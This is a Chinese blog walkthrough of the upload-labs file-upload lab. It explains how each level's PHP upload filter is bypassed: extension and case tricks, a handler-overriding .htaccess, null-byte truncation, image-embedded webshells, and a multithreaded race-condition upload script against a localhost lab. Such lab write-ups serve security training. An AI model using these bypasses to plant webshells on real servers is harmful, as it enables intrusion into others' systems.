Upload_labs文件上传靶场通关

前言

好久之前写的,来水一下。

Pass-01

这题的目的是前端的绕过

打开题目,试一下,随便上传一张图片,可以成功上传
Upload_labs文件上传靶场通关_第1张图片

打开代理,bp抓包,上传含有一句话木马的1.php,发现一个问题
此时,已经打开了代理,bp把流量截了下来,但是却给出了,错误提示,说明这是一个JS前段验证
Upload_labs文件上传靶场通关_第2张图片

F12修改前端代码,添加.php文件的验证
Upload_labs文件上传靶场通关_第3张图片

即可成功,也可以禁用js,也可以成功上传.php文件,然后用菜刀连接即可

修改后缀名也可以绕过,
上传一句话木马,文件名为ee.jpg


bp抓包后,修改后缀名为.php,即可成功上传.php文件
Upload_labs文件上传靶场通关_第4张图片
Upload_labs文件上传靶场通关_第5张图片

使用菜刀连接即可,
Upload_labs文件上传靶场通关_第6张图片

Pass-02

查看源码,发现仅仅判断content-type,于是修改content-type绕过
Upload_labs文件上传靶场通关_第7张图片

修改为image/jpeg、image/png、image/gif任何一个都可以,就可以成功上传.php文件
FrWlp4.png
Upload_labs文件上传靶场通关_第8张图片

bp抓包,修改文件后缀名也可以

Pass-03

查看源码,发现是黑名单验证,对.asp|.aspx|.php|.jsp后缀名进行了严格的限制

Upload_labs文件上传靶场通关_第9张图片

只能上传别的类型,于是尝试用php3,phtml绕过,都可以成功上传
Upload_labs文件上传靶场通关_第10张图片

源码解析

$is_upload = false; 
$msg = null; 
if (isset($_POST['submit'])) 
{ 
	if (file_exists(UPLOAD_PATH))
	 { 
	 	$deny_ext = array('.asp','.aspx','.php','.jsp'); 
	 	$file_name = trim($_FILES['upload_file']['name']);//trim()去点文件的空格 $file_name = deldot($file_name);//删除文件名末尾的点 
	 	$file_ext = strrchr($file_name, '.');//查找字符在指定字符串中从左面开始的最后一次出现的位置,如果成功,返回该字符以及其后面的字符 

	 	$file_ext = strtolower($file_ext); //转换为小写这样就不能进行大小写的逃逸了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 

	 	if(!in_array($file_ext, $deny_ext)) 
	 	{ 
	 		if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) 
	 		{ $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name']; $is_upload = true; 
	 		} 
	 		} 
	 		else
	 		 { 
	 		 	$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; 
	 		 } 
	 		 	} else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; 
	 		 	} 
	 		 }
//原文:https://blog.csdn.net/qq_29647709/article/details/81227084 

Pass-04

也是一个黑名单验证,强度更大,几乎过滤了所有的后缀名,除了.htaccess

.php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"

Upload_labs文件上传靶场通关_第11张图片

.htaccess文件,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

上传一个.htaccess文件,在里面写入

SetHandler application/x-httpd-php

Upload_labs文件上传靶场通关_第12张图片

这样所有文件都会解析为php,然后再上传图片马,就可以成功解析:
Upload_labs文件上传靶场通关_第13张图片

可以成功访问,说明解析成功
Upload_labs文件上传靶场通关_第14张图片

Pass-05

看了一下源码,发现黑名单所有后缀名都被过滤了,也包括.htacces

".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"

但是,和前面的比较一下,少了一行将将后缀进行大小写统一的代码
pass-5
Upload_labs文件上传靶场通关_第15张图片
pass-4
Upload_labs文件上传靶场通关_第16张图片

所以,可以通过大小写绕过
Upload_labs文件上传靶场通关_第17张图片
成功上传
Upload_labs文件上传靶场通关_第18张图片

Pass-06

查看源码,黑名单
Upload_labs文件上传靶场通关_第19张图片

可以发现,没有对后缀名进行去空处理,可在后缀名中加空绕过:

$file_ext = trim($file_ext); //首尾去空

Upload_labs文件上传靶场通关_第20张图片
上传成功
Upload_labs文件上传靶场通关_第21张图片

Pass-07

查看源码,黑名单
Upload_labs文件上传靶场通关_第22张图片

可以发现,没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过

$file_name = deldot($file_name);//删除文件名末尾的点

Upload_labs文件上传靶场通关_第23张图片
上传成功
Upload_labs文件上传靶场通关_第24张图片

Pass-08

查看源码,黑名单
Upload_labs文件上传靶场通关_第25张图片

没有进行去除字符串:: D A T A 的 操 作 , 所 以 , 可 以 在 后 缀 名 添 加 : : DATA的操作,所以,可以在后缀名添加:: DATA::DATA来绕过:

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

FsMKaD.png
上传成功
Upload_labs文件上传靶场通关_第26张图片

Pass-09

查看源码,黑名单
Upload_labs文件上传靶场通关_第27张图片

可以发现,源码的第15行,与之前的不一样

$img_path = UPLOAD_PATH.'/'.$file_name;   //这一关的

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;   //之前的

路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过。
Upload_labs文件上传靶场通关_第28张图片

Pass-10

查看源码,黑名单
Upload_labs文件上传靶场通关_第29张图片

这两行代码有问题

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

str_ireplace()函数

str_ireplace(find,replace,string,count)
参数  描述
find    必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string  必需。规定被搜索的字符串。
count   可选。一个变量,对替换数进行计数。

原文:https://blog.csdn.net/qq_29647709/article/details/81237032 


注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过
FsQHpj.png

Pass-11(00截断$_GET)

查看源码,发现是一个白名单,$_GET传参save_path
Upload_labs文件上传靶场通关_第30张图片

看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过

基础补充两个函数:substr()、strrpos()

strrpos() 定义和用法 
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。 注释:strrpos() 函数对大小写敏感。 
相关函数: 
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写) 
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写) 
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写) 
语法 
strrpos(string,find,start) 
参数 描述 
string 必需。规定被搜索的字符串。 
find 必需。规定要查找的字符。 
start 可选。规定在何处开始搜索。

原文:https://blog.csdn.net/qq_29647709/article/details/81264120 

substr() 这里写代码片语法 
substr(string,start,length) 
参数 描述 
string 必需。规定要返回其中一部分的字符串。 
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始 length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度

原文:https://blog.csdn.net/qq_29647709/article/details/81264120 

截断条件:
    php版本小于5.3.4 详情关注CVE-2006-7243
    php的参数开关上设置里magic_quotes_gpc为OFF状态

设置完成后,即可成功绕过,
Upload_labs文件上传靶场通关_第31张图片

详情查看:https://blog.csdn.net/qq_29647709/article/details/81264120

Pass-12(00截断$_POST)

查看源码,$_POST传参save_path
Upload_labs文件上传靶场通关_第32张图片

还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

Upload_labs文件上传靶场通关_第33张图片
添加一个1.php+(任意名称)

Upload_labs文件上传靶场通关_第34张图片
这里的2b对应的就是**+**号,将2b改成00,即可成功截断,1.php也可成功上传利用
Upload_labs文件上传靶场通关_第35张图片

Pass-13

查看源码,
Upload_labs文件上传靶场通关_第36张图片

可以看出,验证上传文件类型的方法是:通过判断上传文件的前两个字节来判断的,所以直接上传图片马即可绕过.jpg和.png检查,制作方法
copy 1.jpg /b + info.php /a shell.jpg
1.jpg是一个图片,info.php写入一句话木马的文件,shell.jpg复制后的文件
kn3Mlj.png

添加GIF图片的文件头GIF89a,绕过GIF图片检查。

一句话木马也可以上传成功
Upload_labs文件上传靶场通关_第37张图片
文件路径也会显示,然后就可以利用文件包含漏洞。
knGaLR.png

可以写一个include.php:



然后放在upload中,在你上传成功图片马之后,你可以访问,执行phpinfo().
http://127.0.0.1/uploadlab/upload/include.php?page=upload/5020190128200535.jpg

Pass-14

查看源码,
Upload_labs文件上传靶场通关_第38张图片
这里使用getimagesize获取文件类型

 getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。 

利用图片马就可进行绕过,和上一关一样。

Pass-15

查看源码,
Upload_labs文件上传靶场通关_第39张图片

利用exif_imagetype(),判断文件类型,Pass-13的方法即可绕过。

Pass-16

查看源码

Upload_labs文件上传靶场通关_第40张图片
使用imagecreatefromjpeg()来判断文件类别,已可以使用Pass-13的方法。

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

Pass-17

查看源码
Upload_labs文件上传靶场通关_第41张图片

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

# coding:utf-8
# Build By LandGrey
 
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
 
 
def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341
 
-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream
 

-----------------------------6696274297634
Content-Disposition: form-data; name="submit"
 
上传
-----------------------------6696274297634--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")
 
 
pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

在脚本运行的时候,访问Webshell,我一直没成功,不知道为什么
原文链接:https://www.chabug.org/web/470.html

Pass-18

查看源码
Upload_labs文件上传靶场通关_第42张图片
像Pass-13一样可以上传图片马

Pass-19(CVE-2015-2348 move_uploaded_file() 00截断)

查看源码
Upload_labs文件上传靶场通关_第43张图片

$img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败!';
            }

CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过:
利用方式:
上传的文件名用0x00绕过,改成19.php【二进制00】.1.jpg
Upload_labs文件上传靶场通关_第44张图片

参考两个大佬的

https://blog.csdn.net/qq_29647709/article/details/81264120
https://www.chabug.org/web/470.html

你可能感兴趣的:(ctf)